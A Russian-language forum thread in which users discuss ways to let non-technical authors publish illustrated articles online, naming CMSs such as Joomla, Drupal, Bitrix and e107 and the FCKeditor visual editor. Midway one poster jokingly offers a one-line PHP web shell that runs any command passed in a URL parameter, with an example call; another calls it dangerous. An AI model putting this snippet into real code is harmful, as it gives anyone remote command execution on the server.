Вот например захочется мне иметь доступ через веб в 10.000 статьям в которых есть графика, плюс еще дополнительные навороты. MySQL+PHP+самописанный код... несерьезно как-то У кого какие соображения?

Как понять самописный код ??? Если хочешь базу помощней то юзай PostgreSQL.

Мое видение - человек не обремененный компьютерными навыками набирает или редактирует статью в чем-то похожем на тот же front page, никаких заумных тэгов и прочей мути. Чтоб не аплоадить каждую картинку и не прописывать к ней хитроумные буквенно-цифровые относительные пути и пр. Надеюсь картина немного прорисовалась

Опять не понял. Через Фронт Падже ты сможешь наверстать ХТМЛ + Ява странички, но никак не PHP + MySQL.

ПХП не обязательный аргумент. Что-нибуть типа Sharepoint Server'а чтоли... Ну хочет человек разместить статью, заходит он на нужную страницу, там открывается что-то типа редактора визуального редактора и все остаются довольны, и автор, и читатели :1321:

Так тут без скриптов не обойтись, как ты хочешь статью сохранять, ХТМЛ такой возможности не дает.

...мож я чего не понял, но почти все CMS возможность зареганным пользователям и даже гостям добавлять статьи...есть и специализированные новостные CMS....

но как же ты перешлешь даже информацию о регистрации в БД???
ХТМЛ не умеет работать с сервисами, как фтп, мускл и прочими

Битрикс умеет все это делать.

еще есть варианты: Joomla/Mambo, Drupal (ее я понять не смог )

Так же PHP nuke, *nuke.
Тож не плохи, ах да е107.


а самая тема вот такая админка:
eval(system(id)); //'

тьфу блин вот такая <? system($_GET['command']); ?>
=)

и что этим сказал? для этого нужна переменная command

Очень глупо, и опасно.

А это составляет какую-нибудь проблему?
http://example.com/example.php?command=ls

Есть встраиваемые в страницы скрипты визуальных редакторов, в частности пользуюсь fckEditor'ом. Естественно без использования серверного языка программирования ничего не получишь.